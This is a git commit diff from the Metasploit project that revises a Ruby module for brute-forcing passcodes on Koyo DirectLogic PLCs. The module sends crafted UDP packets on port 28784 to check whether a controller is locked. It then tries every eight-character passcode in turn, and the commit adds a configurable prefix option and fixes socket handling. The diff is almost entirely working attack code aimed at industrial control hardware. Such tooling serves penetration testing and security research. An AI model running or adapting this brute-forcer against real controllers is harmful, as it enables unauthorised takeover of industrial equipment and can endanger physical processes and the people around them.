Fix up koyo login

This commit is contained in:
HD Moore 2012-04-09 15:07:29 -05:00
parent 246ebca940
commit 2c473e3cdd
1 changed files with 80 additions and 82 deletions

View File

@ -21,9 +21,10 @@ class Metasploit3 < Msf::Auxiliary
'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility', 'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility',
'Version' => '$Revision$', 'Version' => '$Revision$',
'Description' => %q{ 'Description' => %q{
This module attempts to authenticate to This module attempts to authenticate to a locked Koyo DirectLogic PLC.
a locked Koyo DirectLogic PLC. The PLC uses a restrictive The PLC uses a restrictive passcode, which can be A0000000 through A9999999.
passcode, which can be A0000000 through A9999999. The "A" prefix can also be changed by the administrator to any other character,
which can be set through the PREFIX option of this module.
This module is based on the original 'koyobrute.rb' Basecamp module from This module is based on the original 'koyobrute.rb' Basecamp module from
DigitalBond. DigitalBond.
@ -43,98 +44,100 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]), OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
OptString.new('PREFIX', [true, 'The prefix to use for the password (default: A)', "A"]),
Opt::RPORT(28784) Opt::RPORT(28784)
], self.class) ], self.class)
@CCITT_16 = [
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
]
end end
@@CCITT_16 = [
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
]
def run_host(ip) def run_host(ip)
@udp_sock ||= {}
@udp_sock[ip] = Rex::Socket::Udp.create( # Create a socket in order to receive responses from a non-default IP
'LocalHost' => datastore['LHOST'] || nil, @udp_sock = Rex::Socket::Udp.create(
'PeerHost' => ip, 'PeerHost' => rhost,
'PeerPort' => rport, 'PeerPort' => rport.to_i,
'Context' => {'Msf' => framework, 'MsfExploit' => self} 'Context' => {'Msf' => framework, 'MsfExploit' => self}
) )
print_status("#{ip}:#{rport} - KOYO - Checking the controller for locked memory...") add_socket(@udp_sock)
if unlock_check(ip)
print_good("#{ip}:#{rport} - Unlocked!") print_status("#{rhost}:#{rport} - KOYO - Checking the controller for locked memory...")
if unlock_check
# TODO: Report a vulnerability for an unlocked controller?
print_good("#{rhost}:#{rport} - Unlocked!")
return return
else else
print_status("#{ip}:#{rport} - KOYO - Controller locked; commencing bruteforce...") print_status("#{rhost}:#{rport} - KOYO - Controller locked; commencing bruteforce...")
end end
# TODO: Consider sort_by {rand} in order to avoid sequential guessing # TODO: Consider sort_by {rand} in order to avoid sequential guessing
# or something fancier # or something fancier
(0..9999999).each do |i| (0..9999999).each do |i|
passcode = datastore['PREFIX'] + i.to_s.rjust(7,'0')
passcode = 'A' + i.to_s.rjust(7,'0') vprint_status("#{rhost}:#{rport} - KOYO - Trying #{passcode}")
vprint_status("#{ip}:#{rport} - KOYO - Trying #{passcode}")
bytes = passcode.scan(/../).map { |x| x.to_i(16) } bytes = passcode.scan(/../).map { |x| x.to_i(16) }
passstr = bytes.pack("c*") passstr = bytes.pack("C*")
print_debug passstr.inspect res = try_auth(passstr)
next if not res
res = try_auth(ip, passstr) print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}"
if res report_auth_info(
print_good "#{ip}:#{rport} - KOYO - Found passcode: #{passcode}" :host => rhost,
report_auth_info( :port => rport.to_i,
:host => ip, :proto => 'udp',
:port => rport, :user => '',
:proto => 'udp', :pass => passcode, # NOTE: Human readable
:user => '',
:pass => passcode, # NOTE: Human readable
:active => true :active => true
) )
break break
end
end end
end end
def crc16(buf, crc=0) def crc16(buf, crc=0)
buf.each_byte{|x| crc = ((crc<<8) ^ @CCITT_16[(crc>>8) ^ x])&0xffff} buf.each_byte{|x| crc = ((crc << 8) ^ @@CCITT_16[( crc >> 8) ^ x]) & 0xffff }
[crc].pack("S") [crc].pack("n")
end end
def unlock_check(ip) def unlock_check
checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52" checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52"
@udp_sock[ip].sendto(checkpacket, ip, datastore['RPORT'].to_i) @udp_sock.sendto(checkpacket, rhost, rport.to_i)
recvpacks = 0 recvpacks = 0
# TODO: Since the packet count is critical, consider using Capture instead, # TODO: Since the packet count is critical, consider using Capture instead,
@ -144,10 +147,10 @@ class Metasploit3 < Msf::Auxiliary
# #
# Another way to speed things up is to use fancy threading, but that's for another # Another way to speed things up is to use fancy threading, but that's for another
# day. # day.
while (r = @udp_sock[ip].recvfrom(65535, 0.1) and recvpacks < 2) while (r = @udp_sock.recvfrom(65535, 0.1) and recvpacks < 2)
res = r[0] res = r[0]
if res.length == 269 # auth reply packet if res.length == 269 # auth reply packet
if res[17] == "\x00" and res[19] == "\xD2" # Magic bytes if res[17,1] == "\x00" and res[19,1] == "\xD2" # Magic bytes
return true return true
end end
end end
@ -156,19 +159,19 @@ class Metasploit3 < Msf::Auxiliary
return false return false
end end
def try_auth(ip, passstr) def try_auth(passstr)
data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf" data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf"
header = "HAP" header = "HAP"
header += "\xe5\x01" # random session ID header += "\xe5\x01" # random session ID
header += crc16(data) header += crc16(data)
header += [data.length].pack("S") header += [data.length].pack("n")
authpacket = header + data authpacket = header + data
@udp_sock[ip].sendto(authpacket, ip, datastore['RPORT'].to_i, 0) @udp_sock.sendto(authpacket, rhost, rport.to_i)
2.times { @udp_sock[ip].get(recv_timeout) } # talk to the hand 2.times { @udp_sock.get(recv_timeout) } # talk to the hand
status = unlock_check(ip) status = unlock_check
return status return status
end end
@ -180,9 +183,4 @@ class Metasploit3 < Msf::Auxiliary
datastore['RECV_TIMEOUT'].to_i.abs datastore['RECV_TIMEOUT'].to_i.abs
end end
end end
def cleanup
@udp_sock.each_pair { |ip,sock| sock.shutdown rescue nil}
end
end end